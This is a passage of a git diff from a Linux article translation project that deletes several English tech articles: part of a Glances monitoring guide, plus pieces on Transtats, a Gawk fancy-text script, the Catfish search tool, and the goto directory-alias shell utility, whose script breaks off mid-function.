nicer. The default nice number is 0 and the default priority is 20. Setting the nice number higher than zero increases the priority number somewhat, thus making the process nicer and therefore less greedy of CPU cycles. Setting the nice number to a more negative number results in a lower priority number making the process less nice. Nice numbers can be changed using the renice command or from within top, atop, and htop. - -#### Memory - -The Memory portion of the Summary section contains statistics about memory usage. - -**MEM** | This shows the memory usage as a percent of the total amount available. ----|--- -**total** | This is the total amount of RAM memory installed in the host, less any amount assigned to the display adapter. -**used** | This is the total amount of memory in use by the system and application programs but not including cache or buffers. -**free** | This is the amount of free memory. -**active** | This is the amount of actively used memory—inactive memory is subject to swapping to disk should the need arise. -**inactive** | This is memory that is in use but that has not been accessed for some time. -**buffers** | This is memory that is used for buffer space; it is usually used by communications and I/O such as networking. The data is received and stored until the software can retrieve it for use or it can be sent to a storage device or transmitted out to the network. -**cached** | This is the memory used to store data for disk transfer until it can be used by a program or stored to disk. - -The Swap section is self-explanatory if you understand a bit about swap space and how it works. This shows how much total swap space is available, how much is used, and how much is left. - -The Load part of the Summary section displays the one-, five-, and 15-minute load averages. - -You can use the numeric keys **1**, **3**, **4**, and **5** to alter your view of the data in this section. The **2** key toggles the left sidebar on and off. - -#### More about load averages - -Load averages are commonly misunderstood, even though they are a key criterion for measuring CPU usage. But what does it really mean when I say that the one- (or five- or 10-) minute load average is 4.04, for example? Load average can be considered a measure of demand for the CPU; it is a number that represents the average number of instructions waiting for CPU time, so it is a true measure of CPU performance. - -For example, a fully utilized single-processor system CPU would have a load average of 1. This means that the CPU is keeping up exactly with demand; in other words, it has perfect utilization. A load average of less than 1 means the CPU is underutilized, and a load average greater than 1 means the CPU is overutilized and that there is pent-up, unsatisfied demand. For example, a load average of 1.5 in a single-CPU system indicates that one-third of the CPU instructions must wait to be executed until the preceding one has completed. - -This is also true for multiple processors. If a four-CPU system has a load average of 4, then it has perfect utilization. If it has a load average of 3.24, for example, then three of its processors are fully utilized, and one is utilized at about 24%. In the example above, a four-CPU system has a one-minute load average of 4.04, meaning there is no remaining capacity among the four CPUs, and a few instructions are forced to wait. A perfectly utilized four-CPU system would show a load average of 4.00, meaning that the system is fully loaded but not overloaded. - -The optimum load average condition is for the load average to equal the total number of CPUs in a system. That would mean that every CPU is fully utilized, and no instruction must be forced to wait. But reality is messy, and optimum conditions are seldom met. If a host were running at 100% utilization, this would not allow for spikes in CPU load requirements. - -The longer-term load averages indicate overall utilization trends. - -_Linux Journal_ published an excellent article [about load averages][7], the theory, the math behind them, and how to interpret them, in its December 1, 2006, issue. Unfortunately, _Linux Journal_ has ceased publication, and its archives are no longer available directly, so the link is to a third-party archive. - -#### Finding CPU hogs - -One of the reasons for using a tool like Glances is to find processes that are taking up too much CPU time. Open a new terminal session (different from the one running Glances), and enter and start the following CPU-hogging Bash program. - - -``` -`X=0;while [ 1 ];do echo $X;X=$((X+1));done` -``` - -This program is a CPU hog and will use up every available CPU cycle. Allow it to run while you finish this article and experiment with Glances. It will provide you with an idea of what a program that hogs CPU cycles looks like. Be sure to observe the effects on the load averages over time, as well as the cumulative time in the **TIME+** column for this process. - -### Process section - -The Process section displays standard information about each process that is running. Depending upon the viewing mode and the size of the terminal screen, different columns of information will be displayed for the running processes. The default mode with a wide-enough terminal displays the columns listed below. The columns that are displayed change automatically if the terminal screen is resized. The following columns are typically displayed for each process from left to right. - -**CPU%** | This is the amount of CPU time as a percentage of a single core. For example, 98% represents 98% of the available CPU cycles for a single core. Multiple processes can show up to 100% CPU usage. ----|--- -**MEM%** | This is the amount of RAM memory used by the process as a percentage of the total virtual memory in the host. -**VIRT** | This is the amount of virtual memory used by the process in human-readable format, such as 12M for 12 megabytes. -**RES** | This refers to the amount of physical (resident) memory used by the process. Again, this is in human-readable format, with an indicator of **K**, **M**, or **G**, to specify kilobytes, megabytes, or gigabytes. -**PID** | Every process has an identification number, called the PID. This number can be used in commands, such as **renice** and **kill**, to manage the process. Remember that the **kill** utility can send signals to another process besides the “kill” signal. -**USER** | This is the name of the user that owns the process. -**TIME+** | This indicates the cumulative amount of CPU time accrued by the process since it started. -**THR** | This is the total number of threads currently running for this process. -**NI** | This is the nice number of the process. -**S** | This is the current status; it can be (**R**)unning, (**S**)leeping, (**I**)dle, **T** or **t** when the process is stopped during a debugging trace, or (**Z**)ombie. A zombie is a process that has been killed but has not completely died, so it continues to consume some system resources, such as RAM. -**R/s and W/s** | These are the disk reads and writes per second. -**Command** | This is the command used to start the process. - -Glances usually determines the default sort column automatically. Processes can be sorted automatically (**a**), or by CPU (**c**), memory (**m**), name (**p**), user (**u**), I/O rate (**i**), or time (**t**). Processes are automatically sorted by the most-used resource. In the images above, the **TIME+** column is highlighted. - -### Alerts section - -Glances also shows warnings and critical alerts, including the time and duration of the event, at the bottom of the screen. This can be helpful when you're attempting to diagnose problems and cannot stare at the screen for hours at a time. These alert logs can be toggled on or off with the **l** (lower-case L) key, warnings can be cleared with the **w** key, while alerts and warnings can all be cleared with **x**. - -### Sidebar - -Glances has a very nice sidebar on the left that displays information that is not available in **top** or **htop**. While **atop** displays some of this data, Glances is the only monitor that displays data about sensors. After all, sometimes it is nice to see the temperatures inside your computer. - -The individual modules, disk, filesystem, network, and sensors can be toggled on and off using the **d**, **f**, **n**, and **s** keys, respectively. The entire sidebar can be toggled using **2**. Docker stats can be displayed in the sidebar with **D**. - -Note that hardware sensors are not displayed when Glances is running on a virtual machine. - -### Getting help - -You can get help by pressing the **h** key; dismiss the help page by pressing **h** again. The Help page is rather terse, but it does show the available interactive options and how to turn them on and off. The [man page][8] has terse explanations of the options that can be used when launching Glances. - -You can press **q** or **Esc** to exit Glances. - -### Configuration - -Glances does not require a configuration file to work properly. If you choose to have one, the system-wide instance of the configuration file will be located in **/etc/glances/glances.conf**. Individual users can have a local instance at **~/.config/glances/glances.conf**, which will override the global configuration. The primary purpose of these configuration files is to set thresholds for warnings and critical alerts. You can also specify whether certain modules are displayed by default or not. - -The file **/usr/local/share/doc/glances/README.rst** contains additional useful information, including optional Python modules you can install to support some optional Glances features. - -### Command-line options - -Glances provides command-line options that allow it to start up in specific viewing modes. For example, the command **glances -2** starts the program with the left sidebar disabled. - -### Remote and more - -By starting it in server mode, you can use Glances to monitor remote hosts: - - -``` -`[root@testvm1 ~]# glances -s` -``` - -You can then connect to the server from the client with: - - -``` -`[root@testvm2 ~]# glances -c @testvm1` -``` - -Glances can show a list of Glances servers along with a summary of their activity. It also has a web interface so you can monitor remote Glances servers from a browser. Recent versions of Glances can also display Docker statistics. - -There are also pluggable modules for Glances that provide measurement data not available in the base program. - -### Limitations - -Although Glances can monitor many aspects of a host, it cannot manage processes. It cannot change the nice number of a process nor kill one, as **top** and **htop** can. Glances is not an interactive tool. It is used strictly for monitoring. External tools like **kill** and **renice** can be used to manage processes. - -Glances can only show the processes that are taking the majority of the resource specified, such as CPU time, in the available space. If there is room to list just 10 processes, that is all you will be able to see. Glances does not provide scrolling or reverse-sort options that would enable you to see any other than the top X processes. - -### The impact of measurement - -The [observer effect][9] is a physics theory that states, "simply observing a situation or phenomenon necessarily changes that phenomenon." This is also true when measuring Linux system performance. - -Merely using a monitoring tool alters the system's use of resources, including memory and CPU time. The **top** utility and most other monitors use perhaps 2% tor 3% of a system's CPU time. The Glances utility has much more impact than the others; it usually uses between 10% and 20% of CPU time, and I have seen it use as much as 40% of one CPU in a very large and active system with 32 CPUs. That is a lot, so consider its impact when you think about using Glances as your monitor. - -My personal opinion is that this is a small price to pay when you need the capabilities of Glances. - -### Summary - -Despite its lack of interactive capabilities, such as the ability to **renice** or **kill** processes, and its high CPU load, I find Glances to be a very useful tool. The complete [Glances documentation][10] is available on the internet, and the Glances man page has startup options and interactive command information. - -* * * - -_Parts of this article are based on David Both's new book, _[Using and Administering Linux: Volume 2 – Zero to SysAdmin: Advanced Topics][11].__ - -David Both shares his favorite system monitoring tools for understanding what is going on in any... - -David Both explains the importance of keeping hardware cool and shares some Linux tools that can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/11/monitoring-linux-glances - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_development_programming.png?itok=4OM29-82 (Code going into a computer.) -[2]: https://nicolargo.github.io/glances/ -[3]: https://opensource.com/life/16/2/open-source-tools-system-monitoring -[4]: https://github.com/nicolargo/glances/blob/master/README.rst#installation -[5]: https://opensource.com/sites/default/files/uploads/glances-figure-1.png (Glances display) -[6]: https://opensource.com/sites/default/files/uploads/glances-figure-2.png (Glances display) -[7]: https://archive.org/details/Linux-Journal-2006-12/page/n81 -[8]: https://linux.die.net/man/1/glances -[9]: https://en.m.wikipedia.org/wiki/Observer_effect_(physics) -[10]: https://glances.readthedocs.io/en/stable/ -[11]: https://www.apress.com/us/book/9781484250488 diff --git a/sources/tech/20200103 Tracking Translations with Transtats.md b/sources/tech/20200103 Tracking Translations with Transtats.md deleted file mode 100644 index b11a56be66..0000000000 --- a/sources/tech/20200103 Tracking Translations with Transtats.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Tracking Translations with Transtats) -[#]: via: (https://fedoramagazine.org/tracking-translations-with-transtats/) -[#]: author: (Sundeep Anand https://fedoramagazine.org/author/suanand/) - -Tracking Translations with Transtats -====== - -![][1] - -Translation is an important step in software localization which helps make software more popular globally, and impacts international user experience. In recent years, localization processes have been evolving worldwide to become more continuous, faster, efficient with automation. In Fedora, the development of the [Zanata][2] platform and its plugins, then [Transtats][3], and now the migration to the [Weblate][4] platform are part of this common ongoing goal. The localization of a desktop OS like Fedora is highly complex because it depends on many factors of the individual upstream projects which are packaged in Fedora. For example, different translation timelines, resources, and tooling. - -### What is Transtats? - -Transtats is a web application which tries to tie up upstream repositories, translation platforms, build system, and product release schedule together to solve problems of mismatch, out-of-sync conditions and to assist the timely packaging of quality translations. Actually, it collects translation data, analyzes them, and creates meaningful representations. - -Fedora Transtats is hosted at - -![][5] - -### How to see the translation status of my package? - -Just select **Packages** tab from left hand side navigation bar. This takes us to the packages list view. Then, search for the package and click on its name. - -![][6] - -For example _anaconda_. On package details page, locate following: - -![][7] - -Here, we have translation statistics from translation platform: [Zanata][8] and [Koji][9] build system. Syncs with the platform and build system are scheduled, which update differences periodically. Languages in red color indicate that there are translated strings remaining in the Translation Platform to be pulled and packaged, whereas, blue denote translated messages could not make 100% in the built package. - -### String breakage (or changes?) - -In translation of software packages, one of the challenges is to prevent string breakage. Package maintainers should strive to abide by the scheduled Fedora release String Freeze. However, in some circumstances it could be necessary to break the string freeze and to inform the translation team on the mailing list. As well as, to update latest translation template (POT) file in the translation platform. Just in case these actions seem missing – translators may get new strings to translate very late or the application may have some strings untranslated. In the worst case, an outdated translation string mismatch may result in a crash. Sync and automation pipelines are there to prevent this, nevertheless it depends on the push or pull methods followed by package developers or maintainers. - -To deal with the same context, we can use a job template in Transtats to detect this string change – particularly useful after string freeze in Fedora release schedule. This would be really helpful for the folks who look for packaging translations without string breakage, keeping translation template (POT) file in sync with translation platform, and testing localized form of the application for translation completeness to back trace. - -### How to detect string changes? - -One of the options in **Jobs** tab is ‘YML based Jobs’. Where we can see available job templates. - -![][10] - -The jobs framework executes all the tasks mentioned in the YAML, create appropriate logs and store results. Track String Change job basically: - - 1. Clones the source repository of respective package. - 2. Tries to generate translation template (POT) file. - 3. Downloads POT file from respective translation platform. - 4. And, finds differences between both the POT files. - - - -_Actually, Transtats maintains mapping of upstream repository, Translation Platform project and respective build tag for every package._ - -![][11] - -Let’s take a closer look into this YAML. We can provide value for %PACKAGE_NAME% and %RELEASE_SLUG% in the next step – **Set Values**! For example: _anaconda_ and _fedora-32_. Furthermore, a couple of things seek attention are: - - * In case the upstream software repository maintains separate git branch for fedora release, please edit ‘branch: master’ to ‘branch: <fedora-release-branch>’ - * In ‘generate’ block, mention the command to generate POT file. Default one should work for ‘intltool-update’ only, however, many packages do have their own. - * A few packages may have gettext domain name different than that of package name. If this is the case, mention the gettext domain too. - - - -As soon as the job is triggered, logs should be populated. If this is not a _scratch_ run, a unique URL shall also be created at the end. - -![][12] - -Left hand side is the input YAML and right hand side is respective log for each task. Here we can find the differences and figure out string mismatch. - -![][13] - -In [Transtats][14], we can create solutions to different problems in the form of job templates. And, scheduling of these jobs could be a step towards automation. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/tracking-translations-with-transtats/ - -作者:[Sundeep Anand][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/suanand/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2019/12/transtats-816x345.png -[2]: http://zanata.org/ -[3]: http://transtats.org/ -[4]: https://weblate.org/en/ -[5]: https://fedoramagazine.org/wp-content/uploads/2019/12/transtats-landing-1-1024x450.png -[6]: https://fedoramagazine.org/wp-content/uploads/2019/12/anaconda-pkg.png -[7]: https://fedoramagazine.org/wp-content/uploads/2019/12/anaconda-details.png -[8]: https://fedora.zanata.org/project/view/anaconda -[9]: https://koji.fedoraproject.org/koji -[10]: https://fedoramagazine.org/wp-content/uploads/2019/12/job-templates-1024x361.png -[11]: https://fedoramagazine.org/wp-content/uploads/2019/12/strchgjob.png -[12]: https://fedoramagazine.org/wp-content/uploads/2019/12/string-change-job-log-1024x478.png -[13]: https://fedoramagazine.org/wp-content/uploads/2019/12/string-change-1024x614.png -[14]: https://github.com/transtats/transtats diff --git a/sources/tech/20200106 Create fancy text for your social media posts with this Gawk script.md b/sources/tech/20200106 Create fancy text for your social media posts with this Gawk script.md deleted file mode 100644 index 361bac0726..0000000000 --- a/sources/tech/20200106 Create fancy text for your social media posts with this Gawk script.md +++ /dev/null @@ -1,126 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create fancy text for your social media posts with this Gawk script) -[#]: via: (https://opensource.com/article/20/1/gawk-scripting-social-media) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Create fancy text for your social media posts with this Gawk script -====== -Add a little style to your status updates by posting text in script, -fraktur, or double-strike characters. -![Chat via email][1] - -Like almost everyone on the planet, I have a few social media accounts. I mostly stick to Facebook to stay up to date with friends and family and Twitter to follow a few other people. - -Have you ever wanted to make a post that includes italics or some other fancy formatting? You can easily change the text to italics or bold when you're writing an email, but most social media platforms don't provide many formatting options. - -And sometimes, I just want to put a little _emphasis_ into what I'm writing. If I've had a really good day and I want to share that with my friends, I might want to put that text in italics. For other posts, I might want to use different formatting that will help my text stand out. Sure, you can use emoji, but sometimes a little text formatting can add that extra pizzazz to your posts. - -I found a way to do just that. With a short [Gawk][2] script I wrote, I can create fancy formatting that I can copy and paste into my social media posts. - -### Special HTML - -HTML includes a bunch of special characters for mathematics, symbols, and other languages that most people are not aware of. Within the Mathematical Markup Language ([MathML][3]) math character support, HTML includes alternate versions of the alphabet for script, fraktur, and double-strike (shown respectively in this image) characters. - -![script, fraktur, and double-strike text][4] - -You can use these alternate versions of the alphabet to create fancy text. - -The script alphabet variation is written as the letter followed by **scr**. Characters can be uppercase or lowercase. For example, to print the script letter **a** in an HTML page, type **&ascr;**, and to print the script letter **Z** in HTML, type **&Zscr;**. - -The fraktur and double-strike variations are referenced in similar ways. The fraktur mathematical lower-case **a** is **&afr;**, and the capital **Y** is **&Yfr;**. The mathematical double-strike **a** is referenced as **&aopf;**, and the double-strike **X** is **&Xopf;**. - -### Gawk functions - -Once you know how to reference the alternate versions of each letter, it's easy to define a few Gawk functions to print those HTML entities. Since these alternate characters exist only for letters and not punctuation or numbers, start with a simple wrapper function to determine if a character is an uppercase or lowercase letter. - - -``` -#!/usr/bin/gawk -f -# Echo the input as different "fonts." Redirect this into an html -# page and copy/paste fancy text into twitter or facebook. - -BEGIN { alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } - -function is_alpha(c) { -  return(index(alpha, c)); -} -``` - -The **BEGIN** statement defines an alphabet string called **alpha** that contains all letters a–z and A–Z. The **is_alpha(c)** function uses the built-in **index()** function to return the location of the character **c** in the string **alpha**. If the character **c** is not a letter, **index()** returns zero, which the script uses as a False value. - -Because the **is_alpha(c)** function just "wraps" a call to the **index()** function without doing anything else; this is called a _wrapper_ function. Think of it as shorthand that makes the Gawk script easier to read. - -With that, it's easy to define a few functions that convert single letters into each of the alternate versions of the alphabet. In general, each function calls **is_alpha(c)** to determine if a character is a letter a–z or A–Z. If it is (i.e., if the returned value is non-zero), then the function prints the HTML entity for that letter as script, fraktur, and double-strike. Otherwise, the function prints the letter. - - -``` -function print_script(c) { -  if ( is_alpha(c) ) { printf("&%cscr;", c); } else { printf("%c", c); } -} -function print_fraktur(c) { -  if ( is_alpha(c) ) { printf("&%cfr;", c); }  else { printf("%c", c); } -} -function print_double(c) { -  if ( is_alpha(c) ) { printf("&%copf;", c); } else { printf("%c", c); } -} -``` - -The **print_script(c)** function prints a single letter in script. Similarly, the **print_fraktur(c)** function prints a letter in fraktur, and the **print_double(c)** function prints a single letter in double-strike. - -All that's left is a Gawk loop to convert plain text into each of the alternate alphabet characters. This script loops over each line three times and prints the text in script, fraktur, or double-strike. Each line is wrapped in **<p>** and **</p>** HTML tags. - - -``` -{ text=$0; -  len=length(text); - -  print "<p>"; -  for (i=1; i<=len; i++) { -    print_script( substr(text, i, 1) ); -  } -  print "</p><p>"; -  for (i=1; i<=len; i++) { -    print_fraktur( substr(text, i, 1) ); -  } -  print "</p><p>"; -  for (i=1; i<=len; i++) { -    print_double( substr(text, i, 1) ); -  } -  print "</p>"; -} -``` - -### Putting it all together - -I saved the above lines in a script file called **htmlecho** and put it in my **~/bin** directory. - - -``` -$ htmlecho > /tmp/hello.html -Hello world -^Z -``` - -Whenever I want to add fancy text to my Facebook and Twitter posts, I just run the script and save the output to a temporary HTML page. I open the temporary page in a web browser and copy and paste the fancy text I like best into my social media posts. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/gawk-scripting-social-media - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/email_chat_communication_message.png?itok=LKjiLnQu (Chat via email) -[2]: https://www.gnu.org/software/gawk/ -[3]: https://en.wikipedia.org/wiki/MathML -[4]: https://opensource.com/sites/default/files/uploads/hello_world.png (script, fraktur, and double-strike text) diff --git a/sources/tech/20200107 App Highlight- Catfish Desktop File Searching Tool.md b/sources/tech/20200107 App Highlight- Catfish Desktop File Searching Tool.md deleted file mode 100644 index d485682215..0000000000 --- a/sources/tech/20200107 App Highlight- Catfish Desktop File Searching Tool.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (App Highlight: Catfish Desktop File Searching Tool) -[#]: via: (https://itsfoss.com/catfish/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -App Highlight: Catfish Desktop File Searching Tool -====== - -_****Brief: Catfish is a nifty file searching GUI tool for Linux desktop. The interface is lightweight and simple and the tool allows to refine your search with** criteria like time, file type etc.**_ - -The Linux purists use commands like locate, find and grep to search for files in the terminal. - -But as a desktop Linux user, you don’t need to leave the comfort of the graphical user interface (GUI) and deep dive into the command line interface (CLI) just for searching files on your desktop. - -Most Linux distributions provide a basic desktop search feature either via the file manager or through the desktop environment itself. - -On GNOME desktop, you can search for files in the Activities area (use the Windows key to bring it up). Files (previously known as Nautilus) also has a built-in search button. - -![Nautilus file manager already has advanced search feature][1] - -You can extend this search and add options like time and type of the file. One thing it doesn’t do is to search inside the files. For example, you cannot use it to get all the files that contains “university”. - -This is where a desktop file search tool like Catfish could help you. - -### Catfish: A nifty GUI tool for searching files on Linux - -[Catfish][2] is a GUI tool that enables you to search your desktop for any kind of files. It uses locate and find commands underneath. The autocompletion feature uses [Zeitgeist][3] daemon and [locate command][4]. It’s a lightweight tool and uses GTK+. - -Catfish is developed by [Christian Dywan][5], the same person who develops the [lightweight Midori web browser][6]. - -![Catfish interface on MX Linux][7] - -Some of the main features of Catfish are: - - * Search for files anywhere on your system, **including the mounted partitions** - * **Search inside the files** for its contents (can be enabled from preferences) - * Search hidden files as well - * Refine your search based on modification time - * Refine your search based on file type (images, videos, documents etc) - * Refine your search based on location (Documents, Downloads, Pictures or other folders) - * Exclude certain directories and paths from your search - * Lightweight and simple interface - * **Support for Wayland** display server (from version 1.4.12) - - - -Catfish is now a Xfce project and it is providing the search feature to Xfce’s Thunar file manager. - -### Installing Catfish on Ubuntu and other Linux distributions - -Let’s see how to install Catfish on your Linux distributions. - -**Ubuntu-based distributions** - -Catfish is available in the universe repository for Ubuntu based distributions such as Xubuntu, Linux Mint, Linux Lite etc. - -You can install it from the software center by searching for Catfish - -![Catfish in Ubuntu Software Center][8] - -or, use the terminal to install it: - -``` -sudo apt install catfish -``` - -The version provided by Ubuntu may not be the latest. The [official PPA][9] has been abandoned so this means that to get the latest Catfish version, you’ll have to [install it from the source code][10]. - -**On other distributions** - -Catfish is also available in most major Linux distributions. It is certainly available on Fedora and if you check your distribution’s package manager or software center, you should find it there and install it like any other program. - -**Conclusion** - -In this week’s Linux application highlight, you learned about this handy little utility. However, Catfish is not the only tool of its kind. You may check some other search tools like [ANGRYSearch][11] or [SearchMonkey][12]. - -Have you ever used a GUI tool for searching files or do you rely on the good old command line? And what do you think of Catfish? Do you look forward to use it? - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/catfish/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/search-files-gnome.jpg?ssl=1 -[2]: https://launchpad.net/catfish-search/ -[3]: https://wiki.archlinux.org/index.php/Zeitgeist -[4]: https://linuxhandbook.com/locate-command/ -[5]: http://www.twotoasts.de/index.php/about/ -[6]: https://itsfoss.com/midori-browser/ -[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/catfish_screenshot.png?ssl=1 -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/catfish_ubuntu_software_center.jpg?ssl=1 -[9]: https://itsfoss.com/ppa-guide/ -[10]: https://itsfoss.com/install-software-from-source-code/ -[11]: https://itsfoss.com/angrysearch/ -[12]: https://itsfoss.com/searchmonkey-search-text-files-linux/ diff --git a/sources/tech/20200107 Introduction to the Linux goto shell utility.md b/sources/tech/20200107 Introduction to the Linux goto shell utility.md deleted file mode 100644 index b683f34449..0000000000 --- a/sources/tech/20200107 Introduction to the Linux goto shell utility.md +++ /dev/null @@ -1,599 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Introduction to the Linux goto shell utility) -[#]: via: (https://opensource.com/article/20/1/directories-autocomplete-linux) -[#]: author: (Lazarus Lazaridis https://opensource.com/users/iridakos) - -Introduction to the Linux goto shell utility -====== -Learn how to use goto to alias and navigate to directories with -autocomplete in Linux. -![Files in a folder][1] - -The goto shell utility allows users to navigate to aliased directories and also supports autocompletion. - -## How it works - -Before you can use goto, you need to register your directory aliases. For example: - - -``` -`goto -r dev /home/iridakos/development` -``` - -then change to that directory, e.g.: - - -``` -`goto dev` -``` - -![goto demo][2] - -## Autocompletion in goto - -**goto** comes with a nice autocompletion script—whenever you press the Tab key after the **goto** command, Bash or Zsh will prompt you with suggestions of the aliases that are available: - - -``` -$ goto <tab> -bc /etc/bash_completion.d                     -dev /home/iridakos/development -rubies /home/iridakos/.rvm/rubies -``` - -## Installing goto - -There are several ways to install goto. - -### Via script - -Clone the repository and run the install script as a superuser or root: - - -``` -git clone -cd goto -sudo ./install -``` - -### Manually - -Copy the file **goto.sh** somewhere in your filesystem and add a line in your **.zshrc** or **.bashrc** to source it. - -For example, if you placed the file in your home folder, all you have to do is add the following line to your **.zshrc** or **.bashrc** file: - - -``` -`source ~/goto.sh` -``` - -### MacOS Homebrew - -A formula named **goto** is available for the Bash shell in MacOS: - - -``` -`brew install goto` -``` - -### Add colored output - - -``` -`echo -e "\$include /etc/inputrc\nset colored-completion-prefix on" >> ~/.inputrc` -``` - -**Notes:** - - * You need to restart your shell after installation. - * You need to have the Bash completion feature enabled for Bash in MacOS (see this [issue][3]). - * You can install it with **brew install bash-completion** if you don't have it enabled. - - - -## Ways to use goto - -### Change to an aliased directory - -To change to an aliased directory, type: - - -``` -`goto ` -``` - -For example: - - -``` -`goto dev` -``` - -### Register an alias - -To register a directory alias, type: - - -``` -`goto -r ` -``` - -or - - -``` -`goto --register ` -``` - -For example: - - -``` -`goto -r blog /mnt/external/projects/html/blog` -``` - -or - - -``` -`goto --register blog /mnt/external/projects/html/blog` -``` - -**Notes:** - - * **goto** **expands** the directories, so you can easily alias your current directory with the following command and it will automatically be aliased to the whole path: [code]`goto -r last_release .` -``` - * Pressing the Tab key after the alias name provides the shell's default directory suggestions. - - - -### Unregister an alias - -To unregister an alias, use: -``` -`goto -u ` -``` -or -``` -`goto --unregister ` -``` -For example: -``` -`goto -u last_release` -``` -or -``` -`goto --unregister last_release` -``` -**Note:** By pressing the Tab key after the command (**-u** or **\--unregister**), the completion script will prompt you with the list of registered aliases. - -### List aliases - -To get a list of your currently registered aliases, use: -``` -`goto -l` -``` -or -``` -`goto --list` -``` -### Expand an alias - -To expand an alias to its value, use: -``` -`goto -x ` -``` -or -``` -`goto --expand ` -``` -For example: -``` -`goto -x last_release` -``` -or -``` -`goto --expand last_release` -``` -### Clean up aliases - -To clean up the aliases from directories that are no longer accessible in your filesystem, use: -``` -`goto -c` -``` -or -``` -`goto --cleanup` -``` -### Get help - -To view the tool's help information, use: -``` -`goto -h` -``` -or -``` -`goto --help` -``` -### Check the version - -To view the tool's version, use: -``` -`goto -v` -``` -or -``` -`goto --version` -``` -### Push before changing directories - -To push the current directory onto the directory stack before changing directories, type: -``` -`goto -p ` -``` -or -``` -`goto --push ` -``` -### Revert to a pushed directory - -To return to a pushed directory, type: -``` -`goto -o` -``` -or -``` -`goto --pop` -``` -**Note:** This command is equivalent to **popd** but within the **goto** command. - -## Troubleshooting - -If you see the error **command not found: compdef** in Zsh, it means you need to load **bashcompinit**. To do so, append this to your **.zshrc** file: -``` - - -autoload bashcompinit -bashcompinit - -``` -## Get involved - -The goto tool is open source under the [MIT License][4] terms, and contributions are welcomed. To learn more, visit the [Contributing][5] section in goto's GitHub repository. - -## The goto script -``` - - -goto() -{ -  local target -  _goto_resolve_db - -  if [ -z "$1" ]; then -    # display usage and exit when no args -    _goto_usage -    return -  fi - -  subcommand="$1" -  shift -  case "$subcommand" in -    -c|--cleanup) -      _goto_cleanup "$@" -      ;; -    -r|--register) # Register an alias -      _goto_register_alias "$@" -      ;; -    -u|--unregister) # Unregister an alias -      _goto_unregister_alias "$@" -      ;; -    -p|--push) # Push the current directory onto the pushd stack, then goto -      _goto_directory_push "$@" -      ;; -    -o|--pop) # Pop the top directory off of the pushd stack, then change that directory -      _goto_directory_pop -      ;; -    -l|--list) -      _goto_list_aliases -      ;; -    -x|--expand) # Expand an alias -      _goto_expand_alias "$@" -      ;; -    -h|--help) -      _goto_usage -      ;; -    -v|--version) -      _goto_version -      ;; -    *) -      _goto_directory "$subcommand" -      ;; -  esac -  return $? -} - -_goto_resolve_db() -{ -  GOTO_DB="${GOTO_DB:-$HOME/.goto}" -  touch -a "$GOTO_DB" -} - -_goto_usage() -{ -  cat <<\USAGE -usage: goto [<option>] <alias> [<directory>] - -default usage: -  goto <alias> \- changes to the directory registered for the given alias - -OPTIONS: -  -r, --register: registers an alias -    goto -r|--register <alias> <directory> -  -u, --unregister: unregisters an alias -    goto -u|--unregister <alias> -  -p, --push: pushes the current directory onto the stack, then performs goto -    goto -p|--push <alias> -  -o, --pop: pops the top directory from the stack, then changes to that directory -    goto -o|--pop -  -l, --list: lists aliases -    goto -l|--list -  -x, --expand: expands an alias -    goto -x|--expand <alias> -  -c, --cleanup: cleans up non existent directory aliases -    goto -c|--cleanup -  -h, --help: prints this help -    goto -h|--help -  -v, --version: displays the version of the goto script -    goto -v|--version -USAGE -} - -# Displays version -_goto_version() -{ -  echo "goto version 1.2.4.1" -} - -# Expands directory. -# Helpful for ~, ., .. paths -_goto_expand_directory() -{ -  builtin cd "$1" 2>/dev/null && pwd -} - -# Lists registered aliases. -_goto_list_aliases() -{ -  local IFS=$' ' -  if [ -f "$GOTO_DB" ]; then -    while read -r name directory; do -      printf '\e[1;36m%20s  \e[0m%s\n' 